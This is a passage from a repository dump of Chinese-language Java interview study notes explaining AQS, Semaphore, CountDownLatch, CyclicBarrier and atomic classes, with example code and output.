    "content": "\n**目录：**\n<!-- MarkdownTOC -->\n\n- [1 AQS 简单介绍](#1-aqs-简单介绍)\n- [2 AQS 原理](#2-aqs-原理)\n  - [2.1 AQS 原理概览](#21-aqs-原理概览)\n  - [2.2 AQS 对资源的共享方式](#22-aqs-对资源的共享方式)\n  - [2.3 AQS底层使用了模板方法模式](#23-aqs底层使用了模板方法模式)\n- [3 Semaphore\\(信号量\\)-允许多个线程同时访问](#3-semaphore信号量-允许多个线程同时访问)\n- [4 CountDownLatch （倒计时器）](#4-countdownlatch-倒计时器)\n  - [4.1 CountDownLatch 的三种典型用法](#41-countdownlatch-的三种典型用法)\n  - [4.2 CountDownLatch 的使用示例](#42-countdownlatch-的使用示例)\n  - [4.3 CountDownLatch 的不足](#43-countdownlatch-的不足)\n  - [4.4 CountDownLatch相常见面试题：](#44-countdownlatch相常见面试题)\n- [5 CyclicBarrier\\(循环栅栏\\)](#5-cyclicbarrier循环栅栏)\n  - [5.1 CyclicBarrier 的应用场景](#51-cyclicbarrier-的应用场景)\n  - [5.2 CyclicBarrier 的使用示例](#52-cyclicbarrier-的使用示例)\n  - [5.3 CyclicBarrier和CountDownLatch的区别](#53-cyclicbarrier和countdownlatch的区别)\n- [6 ReentrantLock 和 ReentrantReadWriteLock](#6-reentrantlock-和-reentrantreadwritelock)\n\n<!-- /MarkdownTOC -->\n\n> 常见问题：AQS原理？;CountDownLatch和CyclicBarrier了解吗,两者的区别是什么？用过Semaphore吗？\n\n**本节思维导图：**\n\n![并发编程面试必备：AQS 原理以及 AQS 同步组件总结](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-31/61115865.jpg)\n\n\n### 1 AQS 简单介绍\nAQS的全称为（AbstractQueuedSynchronizer），这个类在java.util.concurrent.locks包下面。\n\n![enter image description here](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/Java%20%E7%A8%8B%E5%BA%8F%E5%91%98%E5%BF%85%E5%A4%87%EF%BC%9A%E5%B9%B6%E5%8F%91%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%80%BB%E7%BB%93/AQS.png)\n\nAQS是一个用来构建锁和同步器的框架，使用AQS能简单且高效地构造出应用广泛的大量的同步器，比如我们提到的ReentrantLock，Semaphore，其他的诸如ReentrantReadWriteLock，SynchronousQueue，FutureTask等等皆是基于AQS的。当然，我们自己也能利用AQS非常轻松容易地构造出符合我们自己需求的同步器。\n\n### 2 AQS 原理\n\n> 在面试中被问到并发知识的时候，大多都会被问到“请你说一下自己对于AQS原理的理解”。下面给大家一个示例供大家参加，面试不是背题，大家一定要加入自己的思想，即使加入不了自己的思想也要保证自己能够通俗的讲出来而不是背出来。\n\n下面大部分内容其实在AQS类注释上已经给出了，不过是英语看着比较吃力一点，感兴趣的话可以看看源码。\n\n#### 2.1 AQS 原理概览\n\n**AQS核心思想是，如果被请求的共享资源空闲，则将当前请求资源的线程设置为有效的工作线程，并且将共享资源设置为锁定状态。如果被请求的共享资源被占用，那么就需要一套线程阻塞等待以及被唤醒时锁分配的机制，这个机制AQS是用CLH队列锁实现的，即将暂时获取不到锁的线程加入到队列中。**\n\n> CLH(Craig,Landin,and Hagersten)队列是一个虚拟的双向队列（虚拟的双向队列即不存在队列实例，仅存在结点之间的关联关系）。AQS是将每条请求共享资源的线程封装成一个CLH锁队列的一个结点（Node）来实现锁的分配。\n\n看个AQS(AbstractQueuedSynchronizer)原理图：\n\n\n![enter image description here](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/Java%20%E7%A8%8B%E5%BA%8F%E5%91%98%E5%BF%85%E5%A4%87%EF%BC%9A%E5%B9%B6%E5%8F%91%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%80%BB%E7%BB%93/CLH.png)\n\nAQS使用一个int成员变量来表示同步状态，通过内置的FIFO队列来完成获取资源线程的排队工作。AQS使用CAS对该同步状态进行原子操作实现对其值的修改。\n\n```java\nprivate volatile int state;//共享变量，使用volatile修饰保证线程可见性\n```\n\n状态信息通过protected类型的getState，setState，compareAndSetState进行操作\n\n```java\n\n//返回同步状态的当前值\nprotected final int getState() {  \n        return state;\n}\n // 设置同步状态的值\nprotected final void setState(int newState) { \n        state = newState;\n}\n//原子地（CAS操作）将同步状态值设置为给定值update如果当前同步状态的值等于expect（期望值）\nprotected final boolean compareAndSetState(int expect, int update) {\n        return unsafe.compareAndSwapInt(this, stateOffset, expect, update);\n}\n```\n\n#### 2.2 AQS 对资源的共享方式\n\n**AQS定义两种资源共享方式**\n\n- **Exclusive**（独占）：只有一个线程能执行，如ReentrantLock。又可分为公平锁和非公平锁：\n    - 公平锁：按照线程在队列中的排队顺序，先到者先拿到锁\n    - 非公平锁：当线程要获取锁时，无视队列顺序直接去抢锁，谁抢到就是谁的\n-  **Share**（共享）：多个线程可同时执行，如Semaphore/CountDownLatch。Semaphore、CountDownLatCh、 CyclicBarrier、ReadWriteLock 我们都会在后面讲到。\n\nReentrantReadWriteLock 可以看成是组合式，因为ReentrantReadWriteLock也就是读写锁允许多个线程同时对某一资源进行读。\n\n不同的自定义同步器争用共享资源的方式也不同。自定义同步器在实现时只需要实现共享资源 state 的获取与释放方式即可，至于具体线程等待队列的维护（如获取资源失败入队/唤醒出队等），AQS已经在上层已经帮我们实现好了。\n\n#### 2.3 AQS底层使用了模板方法模式\n\n同步器的设计是基于模板方法模式的，如果需要自定义同步器一般的方式是这样（模板方法模式很经典的一个应用）：\n\n1. 使用者继承AbstractQueuedSynchronizer并重写指定的方法。（这些重写方法很简单，无非是对于共享资源state的获取和释放）\n2. 将AQS组合在自定义同步组件的实现中，并调用其模板方法，而这些模板方法会调用使用者重写的方法。\n\n这和我们以往通过实现接口的方式有很大区别，这是模板方法模式很经典的一个运用，下面简单的给大家介绍一下模板方法模式，模板方法模式是一个很容易理解的设计模式之一。\n\n> 模板方法模式是基于”继承“的，主要是为了在不改变模板结构的前提下在子类中重新定义模板中的内容以实现复用代码。举个很简单的例子假如我们要去一个地方的步骤是：购票`buyTicket()`->安检`securityCheck()`->乘坐某某工具回家`ride()`->到达目的地`arrive()`。我们可能乘坐不同的交通工具回家比如飞机或者火车，所以除了`ride()`方法，其他方法的实现几乎相同。我们可以定义一个包含了这些方法的抽象类，然后用户根据自己的需要继承该抽象类然后修改 `ride()`方法。\n\n**AQS使用了模板方法模式，自定义同步器时需要重写下面几个AQS提供的模板方法：**\n\n```java\nisHeldExclusively()//该线程是否正在独占资源。只有用到condition才需要去实现它。\ntryAcquire(int)//独占方式。尝试获取资源，成功则返回true，失败则返回false。\ntryRelease(int)//独占方式。尝试释放资源，成功则返回true，失败则返回false。\ntryAcquireShared(int)//共享方式。尝试获取资源。负数表示失败；0表示成功，但没有剩余可用资源；正数表示成功，且有剩余资源。\ntryReleaseShared(int)//共享方式。尝试释放资源，成功则返回true，失败则返回false。\n\n```\n\n默认情况下，每个方法都抛出 `UnsupportedOperationException`。 这些方法的实现必须是内部线程安全的，并且通常应该简短而不是阻塞。AQS类中的其他方法都是final ，所以无法被其他类使用，只有这几个方法可以被其他类使用。 \n\n以ReentrantLock为例，state初始化为0，表示未锁定状态。A线程lock()时，会调用tryAcquire()独占该锁并将state+1。此后，其他线程再tryAcquire()时就会失败，直到A线程unlock()到state=0（即释放锁）为止，其它线程才有机会获取该锁。当然，释放锁之前，A线程自己是可以重复获取此锁的（state会累加），这就是可重入的概念。但要注意，获取多少次就要释放多么次，这样才能保证state是能回到零态的。\n\n再以CountDownLatch以例，任务分为N个子线程去执行，state也初始化为N（注意N要与线程个数一致）。这N个子线程是并行执行的，每个子线程执行完后countDown()一次，state会CAS(Compare and Swap)减1。等到所有子线程都执行完后(即state=0)，会unpark()主调用线程，然后主调用线程就会从await()函数返回，继续后余动作。\n\n一般来说，自定义同步器要么是独占方法，要么是共享方式，他们也只需实现`tryAcquire-tryRelease`、`tryAcquireShared-tryReleaseShared`中的一种即可。但AQS也支持自定义同步器同时实现独占和共享两种方式，如`ReentrantReadWriteLock`。\n\n推荐两篇 AQS 原理和相关源码分析的文章：\n\n- http://www.cnblogs.com/waterystone/p/4920797.html\n- https://www.cnblogs.com/chengxiao/archive/2017/07/24/7141160.html\n\n\n\n### 3 Semaphore(信号量)-允许多个线程同时访问\n\n**synchronized 和 ReentrantLock 都是一次只允许一个线程访问某个资源，Semaphore(信号量)可以指定多个线程同时访问某个资源。**示例代码如下：\n\n```java\n/**\n * \n * @author Snailclimb\n * @date 2018年9月30日\n * @Description: 需要一次性拿一个许可的情况\n */\npublic class SemaphoreExample1 {\n  // 请求的数量\n  private static final int threadCount = 550;\n\n  public static void main(String[] args) throws InterruptedException {\n    // 创建一个具有固定线程数量的线程池对象（如果这里线程池的线程数量给太少的话你会发现执行的很慢）\n    ExecutorService threadPool = Executors.newFixedThreadPool(300);\n    // 一次只能允许执行的线程数量。\n    final Semaphore semaphore = new Semaphore(20);\n\n    for (int i = 0; i < threadCount; i++) {\n      final int threadnum = i;\n      threadPool.execute(() -> {// Lambda 表达式的运用\n        try {\n          semaphore.acquire();// 获取一个许可，所以可运行线程数量为20/1=20\n          test(threadnum);\n          semaphore.release();// 释放一个许可\n        } catch (InterruptedException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        }\n\n      });\n    }\n    threadPool.shutdown();\n    System.out.println(\"finish\");\n  }\n\n  public static void test(int threadnum) throws InterruptedException {\n    Thread.sleep(1000);// 模拟请求的耗时操作\n    System.out.println(\"threadnum:\" + threadnum);\n    Thread.sleep(1000);// 模拟请求的耗时操作\n  }\n}\n```\n\n执行 `acquire` 方法阻塞，直到有一个许可证可以获得然后拿走一个许可证；每个 `release` 方法增加一个许可证，这可能会释放一个阻塞的acquire方法。然而，其实并没有实际的许可证这个对象，Semaphore只是维持了一个可获得许可证的数量。 Semaphore经常用于限制获取某种资源的线程数量。\n\n当然一次也可以一次拿取和释放多个许可，不过一般没有必要这样做：\n\n```java\n          semaphore.acquire(5);// 获取5个许可，所以可运行线程数量为20/5=4\n          test(threadnum);\n          semaphore.release(5);// 获取5个许可，所以可运行线程数量为20/5=4\n```\n\n除了 `acquire`方法之外，另一个比较常用的与之对应的方法是`tryAcquire`方法，该方法如果获取不到许可就立即返回false。\n\n\nSemaphore 有两种模式，公平模式和非公平模式。\n\n- **公平模式：** 调用acquire的顺序就是获取许可证的顺序，遵循FIFO；\n- **非公平模式：** 抢占式的。\n\n**Semaphore 对应的两个构造方法如下：**\n\n```java\n   public Semaphore(int permits) {\n        sync = new NonfairSync(permits);\n    }\n\n    public Semaphore(int permits, boolean fair) {\n        sync = fair ? new FairSync(permits) : new NonfairSync(permits);\n    }\n```\n**这两个构造方法，都必须提供许可的数量，第二个构造方法可以指定是公平模式还是非公平模式，默认非公平模式。** \n\n由于篇幅问题，如果对 Semaphore 源码感兴趣的朋友可以看下面这篇文章：\n\n- https://blog.csdn.net/qq_19431333/article/details/70212663\n\n### 4 CountDownLatch （倒计时器）\n\nCountDownLatch是一个同步工具类，它允许一个或多个线程一直等待，直到其他线程的操作执行完后再执行。在Java并发中，countdownlatch的概念是一个常见的面试题，所以一定要确保你很好的理解了它。\n\n#### 4.1 CountDownLatch 的三种典型用法\n\n①某一线程在开始运行前等待n个线程执行完毕。将 CountDownLatch 的计数器初始化为n ：`new CountDownLatch(n) `，每当一个任务线程执行完毕，就将计数器减1 `countdownlatch.countDown()`，当计数器的值变为0时，在`CountDownLatch上 await()` 的线程就会被唤醒。一个典型应用场景就是启动一个服务时，主线程需要等待多个组件加载完毕，之后再继续执行。\n\n②实现多个线程开始执行任务的最大并行性。注意是并行性，不是并发，强调的是多个线程在某一时刻同时开始执行。类似于赛跑，将多个线程放到起点，等待发令枪响，然后同时开跑。做法是初始化一个共享的 `CountDownLatch` 对象，将其计数器初始化为 1 ：`new CountDownLatch(1) `，多个线程在开始执行任务前首先 `coundownlatch.await()`，当主线程调用 countDown() 时，计数器变为0，多个线程同时被唤醒。\n\n③死锁检测：一个非常方便的使用场景是，你可以使用n个线程访问共享资源，在每次测试阶段的线程数目是不同的，并尝试产生死锁。\n\n#### 4.2 CountDownLatch 的使用示例\n\n```java\n/**\n * \n * @author SnailClimb\n * @date 2018年10月1日\n * @Description: CountDownLatch 使用方法示例\n */\npublic class CountDownLatchExample1 {\n  // 请求的数量\n  private static final int threadCount = 550;\n\n  public static void main(String[] args) throws InterruptedException {\n    // 创建一个具有固定线程数量的线程池对象（如果这里线程池的线程数量给太少的话你会发现执行的很慢）\n    ExecutorService threadPool = Executors.newFixedThreadPool(300);\n    final CountDownLatch countDownLatch = new CountDownLatch(threadCount);\n    for (int i = 0; i < threadCount; i++) {\n      final int threadnum = i;\n      threadPool.execute(() -> {// Lambda 表达式的运用\n        try {\n          test(threadnum);\n        } catch (InterruptedException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        } finally {\n          countDownLatch.countDown();// 表示一个请求已经被完成\n        }\n\n      });\n    }\n    countDownLatch.await();\n    threadPool.shutdown();\n    System.out.println(\"finish\");\n  }\n\n  public static void test(int threadnum) throws InterruptedException {\n    Thread.sleep(1000);// 模拟请求的耗时操作\n    System.out.println(\"threadnum:\" + threadnum);\n    Thread.sleep(1000);// 模拟请求的耗时操作\n  }\n}\n\n```\n上面的代码中，我们定义了请求的数量为550，当这550个请求被处理完成之后，才会执行`System.out.println(\"finish\");`。\n\n与CountDownLatch的第一次交互是主线程等待其他线程。主线程必须在启动其他线程后立即调用CountDownLatch.await()方法。这样主线程的操作就会在这个方法上阻塞，直到其他线程完成各自的任务。\n\n其他N个线程必须引用闭锁对象，因为他们需要通知CountDownLatch对象，他们已经完成了各自的任务。这种通知机制是通过 CountDownLatch.countDown()方法来完成的；每调用一次这个方法，在构造函数中初始化的count值就减1。所以当N个线程都调 用了这个方法，count的值等于0，然后主线程就能通过await()方法，恢复执行自己的任务。\n\n#### 4.3 CountDownLatch 的不足\n\nCountDownLatch是一次性的，计数器的值只能在构造方法中初始化一次，之后没有任何机制再次对其设置值，当CountDownLatch使用完毕后，它不能再次被使用。\n\n#### 4.4 CountDownLatch相常见面试题：\n\n解释一下CountDownLatch概念？\n\nCountDownLatch 和CyclicBarrier的不同之处？\n\n给出一些CountDownLatch使用的例子？\n\nCountDownLatch 类中主要的方法？\n\n### 5 CyclicBarrier(循环栅栏)\n\nCyclicBarrier 和 CountDownLatch 非常类似，它也可以实现线程间的技术等待，但是它的功能比 CountDownLatch 更加复杂和强大。主要应用场景和 CountDownLatch 类似。\n\nCyclicBarrier 的字面意思是可循环使用（Cyclic）的屏障（Barrier）。它要做的事情是，让一组线程到达一个屏障（也可以叫同步点）时被阻塞，直到最后一个线程到达屏障时，屏障才会开门，所有被屏障拦截的线程才会继续干活。CyclicBarrier默认的构造方法是 `CyclicBarrier(int parties)`，其参数表示屏障拦截的线程数量，每个线程调用`await`方法告诉 CyclicBarrier 我已经到达了屏障，然后当前线程被阻塞。\n\n#### 5.1 CyclicBarrier 的应用场景\n\nCyclicBarrier 可以用于多线程计算数据，最后合并计算结果的应用场景。比如我们用一个Excel保存了用户所有银行流水，每个Sheet保存一个帐户近一年的每笔银行流水，现在需要统计用户的日均银行流水，先用多线程处理每个sheet里的银行流水，都执行完之后，得到每个sheet的日均银行流水，最后，再用barrierAction用这些线程的计算结果，计算出整个Excel的日均银行流水。\n\n#### 5.2 CyclicBarrier 的使用示例\n\n示例1：\n\n```java\n/**\n * \n * @author Snailclimb\n * @date 2018年10月1日\n * @Description: 测试 CyclicBarrier 类中带参数的 await() 方法\n */\npublic class CyclicBarrierExample2 {\n  // 请求的数量\n  private static final int threadCount = 550;\n  // 需要同步的线程数量\n  private static final CyclicBarrier cyclicBarrier = new CyclicBarrier(5);\n\n  public static void main(String[] args) throws InterruptedException {\n    // 创建线程池\n    ExecutorService threadPool = Executors.newFixedThreadPool(10);\n\n    for (int i = 0; i < threadCount; i++) {\n      final int threadNum = i;\n      Thread.sleep(1000);\n      threadPool.execute(() -> {\n        try {\n          test(threadNum);\n        } catch (InterruptedException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        } catch (BrokenBarrierException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        }\n      });\n    }\n    threadPool.shutdown();\n  }\n\n  public static void test(int threadnum) throws InterruptedException, BrokenBarrierException {\n    System.out.println(\"threadnum:\" + threadnum + \"is ready\");\n    try {\n      /**等待60秒，保证子线程完全执行结束*/  \n      cyclicBarrier.await(60, TimeUnit.SECONDS);\n    } catch (Exception e) {\n      System.out.println(\"-----CyclicBarrierException------\");\n    }\n    System.out.println(\"threadnum:\" + threadnum + \"is finish\");\n  }\n\n}\n```\n\n运行结果，如下：\n\n```\nthreadnum:0is ready\nthreadnum:1is ready\nthreadnum:2is ready\nthreadnum:3is ready\nthreadnum:4is ready\nthreadnum:4is finish\nthreadnum:0is finish\nthreadnum:1is finish\nthreadnum:2is finish\nthreadnum:3is finish\nthreadnum:5is ready\nthreadnum:6is ready\nthreadnum:7is ready\nthreadnum:8is ready\nthreadnum:9is ready\nthreadnum:9is finish\nthreadnum:5is finish\nthreadnum:8is finish\nthreadnum:7is finish\nthreadnum:6is finish\n......\n```\n可以看到当线程数量也就是请求数量达到我们定义的 5 个的时候， `await`方法之后的方法才被执行。 \n\n另外，CyclicBarrier还提供一个更高级的构造函数`CyclicBarrier(int parties, Runnable barrierAction)`，用于在线程到达屏障时，优先执行`barrierAction`，方便处理更复杂的业务场景。示例代码如下：\n\n```java\n/**\n * \n * @author SnailClimb\n * @date 2018年10月1日\n * @Description: 新建 CyclicBarrier 的时候指定一个 Runnable\n */\npublic class CyclicBarrierExample3 {\n  // 请求的数量\n  private static final int threadCount = 550;\n  // 需要同步的线程数量\n  private static final CyclicBarrier cyclicBarrier = new CyclicBarrier(5, () -> {\n    System.out.println(\"------当线程数达到之后，优先执行------\");\n  });\n\n  public static void main(String[] args) throws InterruptedException {\n    // 创建线程池\n    ExecutorService threadPool = Executors.newFixedThreadPool(10);\n\n    for (int i = 0; i < threadCount; i++) {\n      final int threadNum = i;\n      Thread.sleep(1000);\n      threadPool.execute(() -> {\n        try {\n          test(threadNum);\n        } catch (InterruptedException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        } catch (BrokenBarrierException e) {\n          // TODO Auto-generated catch block\n          e.printStackTrace();\n        }\n      });\n    }\n    threadPool.shutdown();\n  }\n\n  public static void test(int threadnum) throws InterruptedException, BrokenBarrierException {\n    System.out.println(\"threadnum:\" + threadnum + \"is ready\");\n    cyclicBarrier.await();\n    System.out.println(\"threadnum:\" + threadnum + \"is finish\");\n  }\n\n}\n```\n\n运行结果，如下：\n\n```\nthreadnum:0is ready\nthreadnum:1is ready\nthreadnum:2is ready\nthreadnum:3is ready\nthreadnum:4is ready\n------当线程数达到之后，优先执行------\nthreadnum:4is finish\nthreadnum:0is finish\nthreadnum:2is finish\nthreadnum:1is finish\nthreadnum:3is finish\nthreadnum:5is ready\nthreadnum:6is ready\nthreadnum:7is ready\nthreadnum:8is ready\nthreadnum:9is ready\n------当线程数达到之后，优先执行------\nthreadnum:9is finish\nthreadnum:5is finish\nthreadnum:6is finish\nthreadnum:8is finish\nthreadnum:7is finish\n......\n```\n#### 5.3 CyclicBarrier和CountDownLatch的区别\n\nCountDownLatch是计数器，只能使用一次，而CyclicBarrier的计数器提供reset功能，可以多次使用。但是我不那么认为它们之间的区别仅仅就是这么简单的一点。我们来从jdk作者设计的目的来看，javadoc是这么描述它们的：\n\n> CountDownLatch: A synchronization aid that allows one or more threads to wait until a set of operations being performed in other threads completes.(CountDownLatch: 一个或者多个线程，等待其他多个线程完成某件事情之后才能执行；)\n> CyclicBarrier : A synchronization aid that allows a set of threads to all wait for each other to reach a common barrier point.(CyclicBarrier : 多个线程互相等待，直到到达同一个同步点，再继续一起执行。)\n\n对于CountDownLatch来说，重点是“一个线程（多个线程）等待”，而其他的N个线程在完成“某件事情”之后，可以终止，也可以等待。而对于CyclicBarrier，重点是多个线程，在任意一个线程没有完成，所有的线程都必须等待。\n\nCountDownLatch是计数器，线程完成一个记录一个，只不过计数不是递增而是递减，而CyclicBarrier更像是一个阀门，需要所有线程都到达，阀门才能打开，然后继续执行。\n\n![CyclicBarrier和CountDownLatch的区别](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/Java%20%E7%A8%8B%E5%BA%8F%E5%91%98%E5%BF%85%E5%A4%87%EF%BC%9A%E5%B9%B6%E5%8F%91%E7%9F%A5%E8%AF%86%E7%B3%BB%E7%BB%9F%E6%80%BB%E7%BB%93/AQS333.png)\n\nCyclicBarrier和CountDownLatch的区别这部分内容参考了如下两篇文章：\n\n- https://blog.csdn.net/u010185262/article/details/54692886\n- https://blog.csdn.net/tolcf/article/details/50925145?utm_source=blogxgwz0\n\n### 6 ReentrantLock 和 ReentrantReadWriteLock\n\nReentrantLock 和 synchronized 的区别在上面已经讲过了这里就不多做讲解。另外，需要注意的是：读写锁 ReentrantReadWriteLock 可以保证多个线程可以同时读，所以在读操作远大于写操作的时候，读写锁就非常有用了。\n\n由于篇幅问题，关于 ReentrantLock 和 ReentrantReadWriteLock 详细内容可以查看我的这篇原创文章。\n\n- [ReentrantLock 和 ReentrantReadWriteLock](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483745&idx=2&sn=6778ee954a19816310df54ef9a3c2f8a&chksm=fd985700caefde16b9970f5e093b0c140d3121fb3a8458b11871e5e9723c5fd1b5a961fd2228&token=1829606453&lang=zh_CN#rd)\n"
  },
  {
    "path": "docs/java/Multithread/Atomic.md",
    "content": "> 个人觉得这一节掌握基本的使用即可！\n\n**本节思维导图:**\n\n![](https://user-gold-cdn.xitu.io/2018/10/30/166c58b785368234?w=1200&h=657&f=png&s=49615)\n\n### 1 Atomic 原子类介绍\n\nAtomic 翻译成中文是原子的意思。在化学上，我们知道原子是构成一般物质的最小单位，在化学反应中是不可分割的。在我们这里 Atomic 是指一个操作是不可中断的。即使是在多个线程一起执行的时候，一个操作一旦开始，就不会被其他线程干扰。\n\n所以，所谓原子类说简单点就是具有原子/原子操作特征的类。\n\n并发包 `java.util.concurrent` 的原子类都存放在`java.util.concurrent.atomic`下,如下图所示。\n\n![ JUC 原子类概览](https://user-gold-cdn.xitu.io/2018/10/30/166c4ac08d4c5547?w=317&h=367&f=png&s=13267)\n\n根据操作的数据类型，可以将JUC包中的原子类分为4类\n\n**基本类型** \n\n使用原子的方式更新基本类型\n\n- AtomicInteger：整型原子类\n- AtomicLong：长整型原子类\n-  AtomicBoolean ：布尔型原子类\n\n**数组类型**\n\n使用原子的方式更新数组里的某个元素\n\n\n- AtomicIntegerArray：整型数组原子类\n- AtomicLongArray：长整型数组原子类\n- AtomicReferenceArray ：引用类型数组原子类\n\n**引用类型**\n\n- AtomicReference：引用类型原子类\n- AtomicStampedRerence：原子更新引用类型里的字段原子类\n- AtomicMarkableReference ：原子更新带有标记位的引用类型\n\n**对象的属性修改类型**\n\n- AtomicIntegerFieldUpdater:原子更新整型字段的更新器\n- AtomicLongFieldUpdater：原子更新长整型字段的更新器\n- AtomicStampedReference ：原子更新带有版本号的引用类型。该类将整数值与引用关联起来，可用于解决原子的更新数据和数据的版本号，可以解决使用 CAS 进行原子更新时可能出现的 ABA 问题。\n\n下面我们来详细介绍一下这些原子类。\n\n### 2 基本类型原子类\n\n#### 2.1 基本类型原子类介绍\n\n使用原子的方式更新基本类型\n\n- AtomicInteger：整型原子类\n- AtomicLong：长整型原子类\n-  AtomicBoolean ：布尔型原子类\n\n上面三个类提供的方法几乎相同，所以我们这里以 AtomicInteger 为例子来介绍。\n\n **AtomicInteger 类常用方法**\n \n```java\npublic final int get() //获取当前的值\npublic final int getAndSet(int newValue)//获取当前的值，并设置新的值\npublic final int getAndIncrement()//获取当前的值，并自增\npublic final int getAndDecrement() //获取当前的值，并自减\npublic final int getAndAdd(int delta) //获取当前的值，并加上预期的值\nboolean compareAndSet(int expect, int update) //如果输入的数值等于预期值，则以原子方式将该值设置为输入值（update）\npublic final void lazySet(int newValue)//最终设置为newValue,使用 lazySet 设置之后可能导致其他线程在之后的一小段时间内还是可以读到旧的值。\n```\n\n#### 2.2 AtomicInteger 常见方法使用\n\n```java\nimport java.util.concurrent.atomic.AtomicInteger;\n\npublic class AtomicIntegerTest {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tint temvalue = 0;\n\t\tAtomicInteger i = new AtomicInteger(0);\n\t\ttemvalue = i.getAndSet(3);\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);//temvalue:0;  i:3\n\t\ttemvalue = i.getAndIncrement();\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);//temvalue:3;  i:4\n\t\ttemvalue = i.getAndAdd(5);\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);//temvalue:4;  i:9\n\t}\n\n}\n```\n\n#### 2.3 基本数据类型原子类的优势\n\n通过一个简单例子带大家看一下基本数据类型原子类的优势\n\n**①多线程环境不使用原子类保证线程安全（基本数据类型）**\n\n```java\nclass Test {\n        private volatile int count = 0;\n        //若要线程安全执行执行count++，需要加锁\n        public synchronized void increment() {\n                  count++; \n        }\n\n        public int getCount() {\n                  return count;\n        }\n}\n```\n**②多线程环境使用原子类保证线程安全（基本数据类型）**\n\n```java\nclass Test2 {\n        private AtomicInteger count = new AtomicInteger();\n\n        public void increment() {\n                  count.incrementAndGet();\n        }\n      //使用AtomicInteger之后，不需要加锁，也可以实现线程安全。\n       public int getCount() {\n                return count.get();\n        }\n}\n\n```\n#### 2.4 AtomicInteger 线程安全原理简单分析\n\nAtomicInteger 类的部分源码：\n\n```java\n    // setup to use Unsafe.compareAndSwapInt for updates（更新操作时提供“比较并替换”的作用）\n    private static final Unsafe unsafe = Unsafe.getUnsafe();\n    private static final long valueOffset;\n\n    static {\n        try {\n            valueOffset = unsafe.objectFieldOffset\n                (AtomicInteger.class.getDeclaredField(\"value\"));\n        } catch (Exception ex) { throw new Error(ex); }\n    }\n\n    private volatile int value;\n```\n\nAtomicInteger 类主要利用 CAS (compare and swap) + volatile 和 native 方法来保证原子操作，从而避免 synchronized 的高开销，执行效率大为提升。\n\nCAS的原理是拿期望的值和原本的一个值作比较，如果相同则更新成新的值。UnSafe 类的 objectFieldOffset() 方法是一个本地方法，这个方法是用来拿到“原来的值”的内存地址。另外 value 是一个volatile变量，在内存中可见，因此 JVM 可以保证任何时刻任何线程总能拿到该变量的最新值。\n\n\n### 3 数组类型原子类\n\n#### 3.1 数组类型原子类介绍\n\n使用原子的方式更新数组里的某个元素\n\n\n- AtomicIntegerArray：整形数组原子类\n- AtomicLongArray：长整形数组原子类\n- AtomicReferenceArray ：引用类型数组原子类\n\n上面三个类提供的方法几乎相同，所以我们这里以 AtomicIntegerArray 为例子来介绍。\n\n**AtomicIntegerArray 类常用方法**\n\n```java\npublic final int get(int i) //获取 index=i 位置元素的值\npublic final int getAndSet(int i, int newValue)//返回 index=i 位置的当前的值，并将其设置为新值：newValue\npublic final int getAndIncrement(int i)//获取 index=i 位置元素的值，并让该位置的元素自增\npublic final int getAndDecrement(int i) //获取 index=i 位置元素的值，并让该位置的元素自减\npublic final int getAndAdd(int delta) //获取 index=i 位置元素的值，并加上预期的值\nboolean compareAndSet(int expect, int update) //如果输入的数值等于预期值，则以原子方式将 index=i 位置的元素值设置为输入值（update）\npublic final void lazySet(int i, int newValue)//最终 将index=i 位置的元素设置为newValue,使用 lazySet 设置之后可能导致其他线程在之后的一小段时间内还是可以读到旧的值。\n```\n#### 3.2 AtomicIntegerArray 常见方法使用\n\n```java\n\nimport java.util.concurrent.atomic.AtomicIntegerArray;\n\npublic class AtomicIntegerArrayTest {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tint temvalue = 0;\n\t\tint[] nums = { 1, 2, 3, 4, 5, 6 };\n\t\tAtomicIntegerArray i = new AtomicIntegerArray(nums);\n\t\tfor (int j = 0; j < nums.length; j++) {\n\t\t\tSystem.out.println(i.get(j));\n\t\t}\n\t\ttemvalue = i.getAndSet(0, 2);\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);\n\t\ttemvalue = i.getAndIncrement(0);\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);\n\t\ttemvalue = i.getAndAdd(0, 5);\n\t\tSystem.out.println(\"temvalue:\" + temvalue + \";  i:\" + i);\n\t}\n\n}\n```\n\n### 4 引用类型原子类\n\n#### 4.1  引用类型原子类介绍\n\n基本类型原子类只能更新一个变量，如果需要原子更新多个变量，需要使用 引用类型原子类。\n\n- AtomicReference：引用类型原子类\n- AtomicStampedRerence：原子更新引用类型里的字段原子类\n- AtomicMarkableReference ：原子更新带有标记位的引用类型\n\n上面三个类提供的方法几乎相同，所以我们这里以 AtomicReference 为例子来介绍。\n\n#### 4.2 AtomicReference 类使用示例\n\n```java\nimport java.util.concurrent.atomic.AtomicReference;\n\npublic class AtomicReferenceTest {\n\n\tpublic static void main(String[] args) {\n\t\tAtomicReference<Person> ar = new AtomicReference<Person>();\n\t\tPerson person = new Person(\"SnailClimb\", 22);\n\t\tar.set(person);\n\t\tPerson updatePerson = new Person(\"Daisy\", 20);\n\t\tar.compareAndSet(person, updatePerson);\n\n\t\tSystem.out.println(ar.get().getName());\n\t\tSystem.out.println(ar.get().getAge());\n\t}\n}\n\nclass Person {\n\tprivate String name;\n\tprivate int age;\n\n\tpublic Person(String name, int age) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic String getName() {\n\t\treturn 